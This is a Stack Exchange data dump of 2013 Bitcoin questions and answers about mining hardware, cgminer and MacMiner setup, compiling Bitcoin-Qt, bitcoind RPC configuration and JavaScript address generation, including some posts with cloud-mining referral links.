  <row Id="18243" PostTypeId="2" ParentId="17780" CreationDate="2013-12-07T19:16:50.823" Score="1" Body="&lt;p&gt;I bought a couple of Butterfly labs a 25GH/s and a 7.5GH/s in april. I got them in november, when complexity was too high already. So I sold them. I'm using &lt;a href=&quot;https://cex.io/r/0/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt; now. It is more expensive in terms of cost per GH/s but it is more flexible. And you get access to one of the best private mining pool, GHash.io.&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-07T19:16:50.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18245" PostTypeId="2" ParentId="17947" CreationDate="2013-12-07T19:21:34.237" Score="0" Body="&lt;p&gt;Sure you can if you want to waste energy and time. You should buy specialized hardware, Butterfly labs or Kncminer are two company releasing ASIC miners. Alternatively you can try with cloud mining with &lt;a href=&quot;https://cex.io/r/0/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt;. You can buy and sell GH/s with bitcoins. Receive mining rewards and make a profit on trading. Fees are low as well, only 0.0001 when you will withdraw from the account.&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-07T19:21:34.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18247" PostTypeId="2" ParentId="8829" CreationDate="2013-12-07T19:42:47.470" Score="2" Body="&lt;p&gt;Been using the Open Source MacMiner for over a month...:-) This mining GUI is mining engine agnostic because it natively supports bfgminer, cgminer and cpuminer/(minerd) under the hood on Mac Platforms. This GUI interface is mining pool agnostic because it can effectively interface to centralized pools and natively supports decentralized pooling, i.e., P2Pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've exercised bfgminer functionality associated with MacMiner's &quot;BFGMiner&quot; and &quot;FPGA/ASIC Miner&quot; views using both the STM and GBT protocols at a number of different pools (e.g., the usual Centralized Mining suspects: BTC Guild, BitMinter, EclipseMC, Eligius...; Decentralized Mining: P2Pool through the Fabulous Panda P2Pool Service Provider and others). Albeit, not all pools support both STM &amp;amp; GBT. I've exercised minerd/(cpuminer) functionality associated with MacMiner's &quot;CPUminer&quot; view for mining Litecoins, but not recommended for Mac Mini - overheats unit. (You can guess what miner the &quot;CGminer&quot; view executes. Need time to exercise this functionality.) The performance of multiple ASIC devices can be seen from the &quot;API Output&quot; view. This Mining software is still a little rough around the edges, but software updates are automated, and require your approval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before executing the miners outside of MacMiner be sure to update your shell (such as the .cshrc that resides at your ~ directory) and source it. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setenv POS       /usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin &lt;/li&gt;&#xA;&lt;li&gt;setenv PBFGMINER /Applications/MacMiner.app/Contents/Resources/bfgminer/bin&lt;/li&gt;&#xA;&lt;li&gt;setenv PCGMINER  /Applications/MacMiner.app/Contents/Resources/cgminer/bin &lt;/li&gt;&#xA;&lt;li&gt;setenv PMINERD   /Applications/MacMiner.app/Contents/Resources&lt;/li&gt;&#xA;&lt;li&gt;setenv PATH ${POS}:${PBFGMINER}:${PCGMINER}:${PMINERD} &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That way &quot;which bfgminer&quot;, &quot;which cgminer&quot;, and &quot;which minerd&quot; will work, and you don't have to type fully qualified paths to the executables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once MacMiner is configured and running, you can &quot;ps -A | grep bfgminer|minerd|cgminer&quot; and you are off to the races building your own JSON config files (typically residing in your ~/Library/Application Support/MacMiner directory; examine the bfgurls.conf &amp;amp; ltcurls.conf files written when you save your pool settings) that can be used to execute the miners (i.e., bfgminer, cgminer, minerd) with a text terminal. Check out an alpha HOWTO for using MacMiner's bfgminer functionality at &lt;a href=&quot;https://forums.butterflylabs.com/showwiki.php?title=Tutorials:HOWTO+Install+and+Run+MacMiner-+Version+0+9-alpha&quot; rel=&quot;nofollow&quot;&gt;https://forums.butterflylabs.com/showwiki.php?title=Tutorials:HOWTO+Install+and+Run+MacMiner-+Version+0+9-alpha&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!!! &lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2013-12-08T01:53:06.677" LastActivityDate="2013-12-08T01:53:06.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18248" PostTypeId="2" ParentId="18240" CreationDate="2013-12-07T19:55:52.877" Score="1" Body="&lt;p&gt;I would recommend that you use blocknotify to execute a CLI PHP script. The script would then use PHP JSON-RPC to call listsinceblock to get the transactions that occurred in the latest block and put them in a MySQL database.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-07T19:55:52.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18249" PostTypeId="2" ParentId="18228" CreationDate="2013-12-07T19:59:16.267" Score="0" Body="&lt;p&gt;I would recommend joining a pool just because it will make your life easier. All the coins will automatically be sent to you and you will know exactly which computer sent them without any extra work on your part.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-07T19:59:16.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18251" PostTypeId="1" CreationDate="2013-12-07T20:25:42.673" Score="-1" ViewCount="589" Body="&lt;p&gt;I'm a crypto currency newbie. I'm planning to mine lite coins. Is it possible to mine them using my Lenovo Y550 laptop? I have downloaded the wallet. I want to start with mining but im still in doubt if it is feasible with my laptop. Thanks already.&lt;/p&gt;&#xA;" OwnerUserId="10384" LastEditorUserId="5406" LastEditDate="2016-04-25T21:27:05.760" LastActivityDate="2016-04-25T21:27:05.760" Title="litecoin mining" Tags="|litecoin|gpu-mining|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18252" PostTypeId="2" ParentId="17751" CreationDate="2013-12-07T20:28:20.177" Score="2" Body="&lt;p&gt;I wrote a long and detailed tutorial on it &lt;a href=&quot;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&quot; rel=&quot;nofollow&quot;&gt;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, scroll all the way down to the summary to see this short version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var randArr = new Uint8Array(32) //create a typed array of 32 bytes (256 bits)&#xA;window.crypto.getRandomValues(randArr) //populate array with cryptographically secure random numbers&#xA;&#xA;//some Bitcoin and Crypto methods don't like Uint8Array for input. They expect regular JS arrays.&#xA;var privateKeyBytes = []&#xA;for (var i = 0; i &amp;lt; randArr.length; ++i)&#xA;  privateKeyBytes[i] = randArr[i]&#xA;&#xA;var eckey = new Bitcoin.ECKey(privateKeyBytes)&#xA;eckey.compressed = true&#xA;var address = eckey.getBitcoinAddress().toString()&#xA;console.log(address)// 1FkKMsKNJqWSDvTvETqcCeHcUQQ64kSC6s&#xA;&#xA;var privateKeyBytesCompressed = privateKeyBytes.slice(0) //clone array&#xA;privateKeyBytesCompressed.push(0x01)&#xA;var privateKeyWIFCompressed = new Bitcoin.Address(privateKeyBytesCompressed)&#xA;privateKeyWIFCompressed.version = 0x80&#xA;privateKeyWIFCompressed = privateKeyWIFCompressed.toString()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Open up the JavaScript console on the page (in your browser) and follow along. You can create your very own address right there in the browser. I wouldn't recommend using this newly created address to actually conduct commerce. Just use it as an academic exercise.&lt;/p&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2013-12-07T20:28:20.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18255" PostTypeId="1" CreationDate="2013-12-07T21:45:50.853" Score="4" ViewCount="7697" Body="&lt;p&gt;Here are the instructions I have created so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the necessary dependencies&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pacman -S boost boost-libs openssl db base-devel qrencode qt4 automoc4&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clone the GitHub repository:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/bitcoin/bitcoin.git&#xA;cd bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checkout the Git source to the latest release listed at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/releases&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/releases&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git checkout v0.8.5&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change to the source directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd src&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compile Bitcoin-Qt from source&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qmake-qt4 -makefile -Wall USE_QRCODE=1&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are a ton of generic instructions spit out when I enter qmake-qt4 command and then upon entering the make command I am told:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;make: &lt;em&gt;*&lt;/em&gt; No targets specified and no makefile found.  Stop.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;FYI, I am using the PKGBUILD file as a guideline for creating the above instructions.&lt;/p&gt;&#xA;" OwnerUserId="10387" LastEditorUserId="5406" LastEditDate="2014-10-03T12:31:09.893" LastActivityDate="2017-01-23T21:33:26.090" Title="How to compile Bitcoin-Qt from GitHub source on Arch Linux?" Tags="|bitcoin-core|compiling|bitcoin-qt-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18256" PostTypeId="1" CreationDate="2013-12-07T22:06:43.377" Score="2" ViewCount="2677" Body="&lt;p&gt;For some reason, the daemon doesn't accept commands neither RPC, nor command-line.&#xA;I'm running the prebuild 64 version of the bitcoind. It already downloaded all blocks etc and as is happyly running in the background, however it doesn't allow any commands to be sent. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind getinfo&#xA;error: couldn't connect to server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried with a config file having only the rpc user and pass, then I extended it with different params, and of course have restarted the daemon each time. Still - no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debug.log is not telling anything either. It just dumps the normal intensive communication, like…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 2013-12-07 22:01:40 received getdata for: tx  &#xA; 593f4528895f75bcd3df12fb09eedb7e5e6659a7a8a999d7e127eb131afde417)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but no trace from my attempts to call a simple command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to google the problem without luck.&lt;/p&gt;&#xA;" OwnerUserId="10389" LastEditorUserId="6218" LastEditDate="2014-05-01T21:25:10.760" LastActivityDate="2021-02-06T10:52:31.423" Title="the bitcoind daemon doesn't respond to commands" Tags="|bitcoind|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18257" PostTypeId="2" ParentId="18256" CreationDate="2013-12-07T22:13:52.350" Score="1" Body="&lt;p&gt;In bitcoin.conf, make sure you have the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=your-userid&#xA;rpcpassword=your-password&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-07T22:13:52.350" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="18258" PostTypeId="1" AcceptedAnswerId="18267" CreationDate="2013-12-07T22:40:57.827" Score="3" ViewCount="33489" Body="&lt;p&gt;I don't know if there exists a service to quickly check what your mining hash rate is for Litecoin as the following does for Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitminter.com/test&quot; rel=&quot;nofollow&quot;&gt;http://bitminter.com/test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something that doesn't require to install or configure anything, or if necessary to do so with the less possible fuss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2018-05-02T12:46:22.407" Title="How to test your Litecoin mining hash rate?" Tags="|litecoin|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18260" PostTypeId="1" AcceptedAnswerId="18262" CreationDate="2013-12-07T23:02:04.943" Score="1" ViewCount="616" Body="&lt;p&gt;Bitcoin's mining only exists, if there are some transactions, right?&#xA;If nobody trades bitcoins, the miners don't have any transactions to validate, and so the number of bitcoins in circulation doesn't increase?&lt;/p&gt;&#xA;" OwnerUserId="10390" LastEditorUserId="5406" LastEditDate="2016-04-25T19:54:50.763" LastActivityDate="2016-04-25T19:54:50.763" Title="Does mining activity only exist if there are bitcoin transactions?" Tags="|protocol|mining-reward|empty-blocks|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-31T01:09:37.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="18261" PostTypeId="2" ParentId="12575" CreationDate="2013-12-07T23:03:11.977" Score="0" Body="&lt;p&gt;I recently started using cryptostocks.com for BTC/LTC/DVC denominated 'stocks'. It has a varied selection of companies (with dividend payments and even some rudimentary option writing/trading system), it's easy to use and quite affordable (except for issuing your own shares, which requires a hefty fee). Nothing to complain about so far, but I haven't tried to withdraw funds yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've had some success with predictious.com (binary options on real world events), however the volume is frustratingly low.&lt;/p&gt;&#xA;" OwnerUserId="10379" LastEditorUserId="10379" LastEditDate="2014-05-17T18:19:31.470" LastActivityDate="2014-05-17T18:19:31.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18262" PostTypeId="2" ParentId="18260" CreationDate="2013-12-07T23:16:29.850" Score="1" Body="&lt;p&gt;This is not correct.  There is no requirement that a block contain any transactions at all (other than the single transaction indicating what address should be credited with the block reward, currently 25 BTC).  Miners can mine whether or not there are any transactions on the network for them to include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8853/what-is-the-smallest-block-ever-mined&quot;&gt;What is the smallest block ever mined?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-12-07T23:16:29.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18263" PostTypeId="1" CreationDate="2013-12-08T00:48:36.607" Score="0" ViewCount="3925" Body="&lt;p&gt;I recently wanted to try mining some crypto-currency, and litecoin seemed to be a good way to start since it doesn't require too specific hardware.&#xA;However, running cgminer after install (which was completed without errors) ends in Segfault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Machine configuration :&#xA;Ubuntu 10.04&#xA;ATI Mobility Radeon HD 4500 series&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be missing some packages, since no tutorial has the same list, but since the install didn't complain, I assumed everything was OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps used so far :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;got the cgminer-3.7.2 x86_64.tar.bz2 (seems to be the last that supports GPU mining)&lt;/li&gt;&#xA;&lt;li&gt;installed AMD APP SDK 2.9&lt;/li&gt;&#xA;&lt;li&gt;mkdir amdapp_2-9&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cd amdapp_2-8&lt;/li&gt;&#xA;&lt;li&gt;tar -zxvf ~/Downloads/AMD-APP-SDK-v2.9-lnx64.tgz&lt;/li&gt;&#xA;&lt;li&gt;sudo ./Install-AMD-APP.sh&lt;/li&gt;&#xA;&lt;li&gt;sudo reboot&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;installed ADL SDK 6.0&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mkdir ADL_SDK&lt;/li&gt;&#xA;&lt;li&gt;cd ADL_SDK&lt;/li&gt;&#xA;&lt;li&gt;mv ~/Downloads/ADL_SDK_6.0.zip .&lt;/li&gt;&#xA;&lt;li&gt;unzip ADL_SDK_6.0.zip&lt;/li&gt;&#xA;&lt;li&gt;cp include/* ../cgminer/ADL_SDK&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;installed cgminer&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CFLAGS=&quot;-O2 -Wall -march=native -I /opt/AMDAPP/include/&quot; LDFLAGS=&quot;-L/opt/AMDAPP/lib/x86_64&quot; ./configure --enable-opencl --enable-scrypt&lt;/li&gt;&#xA;&lt;li&gt;make&lt;/li&gt;&#xA;&lt;li&gt;make install&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;did some exports&#xA;&lt;ul&gt;&#xA;&lt;li&gt;export DISPLAY=:0&lt;/li&gt;&#xA;&lt;li&gt;export GPU_USE_SYNC_OBJECTS=1&lt;/li&gt;&#xA;&lt;li&gt;export GPU_MAX_ALLOC_PERCENT=100&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And finally, I wanted to test via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer -n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That failed miserably, as all I got was a Segfault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result of the configuration step :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer 3.7.2&#xA;------------------------------------------------------------------------&#xA;&#xA;&#xA;Configuration Options Summary:&#xA;&#xA;libcurl(GBT+getwork).: Enabled: -lcurl  &#xA;curses.TUI...........: FOUND: -lncurses&#xA;OpenCL...............: FOUND. GPU mining support enabled&#xA;scrypt...............: Enabled&#xA;ADL..................: SDK found, GPU monitoring support enabled&#xA;&#xA;Avalon.ASICs.........: Disabled&#xA;BFL.ASICs............: Disabled&#xA;KnC.ASICs............: Disabled&#xA;BitForce.FPGAs.......: Disabled&#xA;BitFury.ASICs........: Disabled&#xA;Hashfast.ASICs.......: Disabled&#xA;Icarus.ASICs/FPGAs...: Disabled&#xA;Klondike.ASICs.......: Disabled&#xA;ModMiner.FPGAs.......: Disabled&#xA;&#xA;Compilation............: make (or gmake)&#xA;CPPFLAGS.............: &#xA;CFLAGS...............: -O2 -Wall -march=native -I /opt/AMDAPP/include/&#xA;LDFLAGS..............: -L/opt/AMDAPP/lib/x86_64 -lpthread&#xA;LDADD................:  -lcurl   compat/jansson-2.5/src/.libs/libjansson.a -lpthread -L/opt/AMDAPP/lib/x86_64 -lOpenCL    -lm  -lrt&#xA;&#xA;Installation...........: make install (as root if needed, with 'su' or 'sudo')&#xA;prefix...............: /usr/local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10396" LastActivityDate="2014-05-21T22:52:32.713" Title="Segfault when attempting to run cgminer on ubuntu 10.04" Tags="|litecoin|ubuntu|cgminer|gpu|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18264" PostTypeId="2" ParentId="18251" CreationDate="2013-12-08T00:49:52.307" Score="2" Body="&lt;p&gt;According to both &lt;a href=&quot;http://www.newegg.com/Product/Product.aspx?Item=N82E16834146612&quot; rel=&quot;nofollow&quot;&gt;Newegg&lt;/a&gt; and &lt;a href=&quot;http://www.notebookreview.com/default.asp?newsID=5405&quot; rel=&quot;nofollow&quot;&gt;Notebook Review&lt;/a&gt;, your laptop, at least in its base configuration, has an NVIDIA GeForce GT 240M GPU. I will assume this is what you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the Litecoin Wiki's Mining Hardware Comparison (look it up on Google), you would be hashing at 15.4 kH/s. This is quite slow. dustcoin (dot) com shows that even if you left your computer on 24/7, you would only make 4.94$/month at current exchange rates. Assuming your computer is using 75W of electricity (this looks like a lot, but remember, it is running at full throttle 24/7), and your utility charges 12.5 cents per kilowatthour (U.S. average), your Litecoin miner will use 6.85$ of electricity each month. This leaves you with a &lt;strong&gt;loss&lt;/strong&gt; of 1.91$ each month. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the only problem. Laptops often have inferior cooling compared to desktop computers, and can easily overheat if they are running at full power all day long. This is a quick way to have component failure and turn your laptop into a 15 inch paperweight, not to mention the costs of repair or replacement, which will surely be higher than 4.94$.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: it &lt;em&gt;could&lt;/em&gt; work, but it's not worth it.&lt;/p&gt;&#xA;" OwnerUserId="10397" LastActivityDate="2013-12-08T00:49:52.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18265" PostTypeId="1" CreationDate="2013-12-08T01:01:45.807" Score="1" ViewCount="182" Body="&lt;p&gt;If no new coins are created by mining after 12 million bitcoins as of today, what kind of impact will it have on bitcoin value. Transaction fees will still be set for confirmations.&lt;/p&gt;&#xA;" OwnerUserId="9826" LastEditorUserId="5406" LastEditDate="2017-12-23T18:59:57.330" LastActivityDate="2017-12-23T18:59:57.330" Title="Will the bitcoin value keep rising at steady rate, if bitcoin mining is stopped right now" Tags="|value|money-supply|" AnswerCount="0" CommentCount="3" ClosedDate="2013-12-11T17:30:23.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="18266" PostTypeId="1" CreationDate="2013-12-08T02:21:46.463" Score="1" ViewCount="7874" Body="&lt;p&gt;I don't really understand how cgminer works.&#xA;I try to mine using cgminer + cgwatcher on a BtcGuild pool but even after 1 hour mining I don't have any accepted or share block. What I don't understand is how cgminer sync with the current blockchain data??? Blockchain data is about 11Go. Should I find blk0001.DAT file in cgminer folder or Roaming folder?&#xA;Is it possible to keep miner tool (on a USB key) and keep data on the same USB key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;" OwnerUserId="10401" LastActivityDate="2014-03-08T21:00:42.867" Title="No accepted shares on cgminer (sync issue ?)" Tags="|blockchain|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18267" PostTypeId="2" ParentId="18258" CreationDate="2013-12-08T02:30:32.437" Score="3" Body="&lt;p&gt;You can go to &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt; and see the hashrate corresponding to the equipment you have, assuming you know what is inside your computer. Actual results may vary, but usually this is a good estimate. Of course, if you overclock, you will get better hashrates, at the cost of increased power usage. If you want to &lt;em&gt;actually&lt;/em&gt; mine, you will need to register at a mining pool and configure your miner to log in to said pool. The website you linked uses Java code to test hashrates, and this will not give accurate results (even for Bitcoin), as Java is usually slower than machine language.&lt;/p&gt;&#xA;" OwnerUserId="10397" LastActivityDate="2013-12-08T02:30:32.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18268" PostTypeId="2" ParentId="18266" CreationDate="2013-12-08T02:47:55.007" Score="1" Body="&lt;p&gt;CGMiner does not need to sync with the blockchain, the pool does. The pool keeps a copy of the blockchain and only sends you the block that is currently being mined. If you don't see any share on BTCGuild's website, you should check that your miner's username and password are correct (they can be different from your main username and password). If you see shares, but they are constantly rejected, then you have a connection problem between you and the pool server. If this is the case, try changing to another pool.&lt;/p&gt;&#xA;" OwnerUserId="10397" LastActivityDate="2013-12-08T02:47:55.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18269" PostTypeId="1" CreationDate="2013-12-08T03:11:34.273" Score="0" ViewCount="267" Body="&lt;p&gt;After chugging along just fine (though never at full advertised GHps always 6.5 instead of 7), my Butterfly Labs jalapeno suddenly started to persistently trip the circuit breaker all of a sudden, even if I plug it into a plug in another room, on another circuit.&#xA;The thing that seems to be important is that when the USB cable is plugged into the PC it trips the circuit and not when it is just pulling power from the outlet with no USB connection. &#xA;It was not overheating (Around 115F), and up until last night it never happened - now it happens no matter what..&lt;/p&gt;&#xA;" OwnerUserId="10405" LastEditorUserId="5406" LastEditDate="2016-03-17T15:56:36.270" LastActivityDate="2016-03-17T15:56:36.270" Title="BFL 7GH Jalapeno suddenly trips circuit breaker, what can I do?" Tags="|mining-hardware|mining-setup|butterfly-labs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18270" PostTypeId="2" ParentId="18101" CreationDate="2013-12-08T03:13:21.490" Score="3" Body="&lt;p&gt;The blocksize topic correlates directly with the current 7 transaction per second (TPS) ceiling Bitcoin has that was recently brought to light before US Congressional Testimony. &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Scalability&lt;/a&gt; describes the 7 TPS ceilings under &quot;Current bottlenecks&quot;.  Ignore block framing data fields, the 7 TPS limit implies that ~4200 transaction (10*60*7) with each being ~238 bytes in size fitting nicely into the 1MB block brown bag. A careful examination of the top of blockchain-dot-info will indicate the real world is a little more complex, and the 7 TPS ceiling is extremely optimistic, most transactions will be significantly larger than 238 bytes size! My mining Payouts alone are ~4K in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tweaking of the blocksize a very hot/political topic. Remember the March 12, 2013 Bitcoin forked Blockchain issue??? (&lt;a href=&quot;http://bitcoin.org/en/alert/2013-03-11-chain-fork&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoin.org/en/alert/2013-03-11-chain-fork&lt;/a&gt;) It is too early for me to tell what the trade space pros &amp;amp; cons [system's engineering truth concerning the trade space analysis of alternative (AoA) results for backward compatibility, scalability, security, sustained decentralization... measures of effectiveness (MOE) and measures of performance (MOP)] is for increasing the current 1MB block size in the Blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignoring state politics, in the end, the dynamics between stability of developer solutions, hardware engine solutions, miners and pools will ultimately determine the block size(s) supported in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://keepbitcoinfree.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://keepbitcoinfree.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/tags/blockchain-fork/hot&quot;&gt;https://bitcoin.stackexchange.com/tags/blockchain-fork/hot&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1owbpn/is_there_a_consensus_on_the_blocksize_limit_issue/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1owbpn/is_there_a_consensus_on_the_blocksize_limit_issue/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/ioeob/an_alternative_to_supernodes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/ioeob/an_alternative_to_supernodes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-09T04:49:51.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18271" PostTypeId="1" CreationDate="2013-12-08T03:18:49.783" Score="1" ViewCount="151" Body="&lt;p&gt;Would it be possible to hamper the network's efforts in validating blocks by creating millions and millions of bogus transactions- simply sending back and forth say 0.1 BTC from address A --&gt; B --&gt; C --&gt; A and so on endlessly? Obviously this would hard to do by hand but if there were an automated script it could be done theoretically quite easily..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would this strategy have absolutely no effect?&lt;/p&gt;&#xA;" OwnerUserId="10405" LastActivityDate="2013-12-08T04:15:16.863" Title="Could there be an exploit by creating millions of meaningless transactions?" Tags="|hash|hacking|" AnswerCount="2" CommentCount="2" ClosedDate="2013-12-31T01:07:20.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="18274" PostTypeId="2" ParentId="18269" CreationDate="2013-12-08T03:57:24.200" Score="1" Body="&lt;p&gt;I had one Jalapeno power supply die on me, perhaps you can source a replacement?  12V seems OK, but make sure it's rated for the amps.&lt;/p&gt;&#xA;" OwnerUserId="10408" LastActivityDate="2013-12-08T03:57:24.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
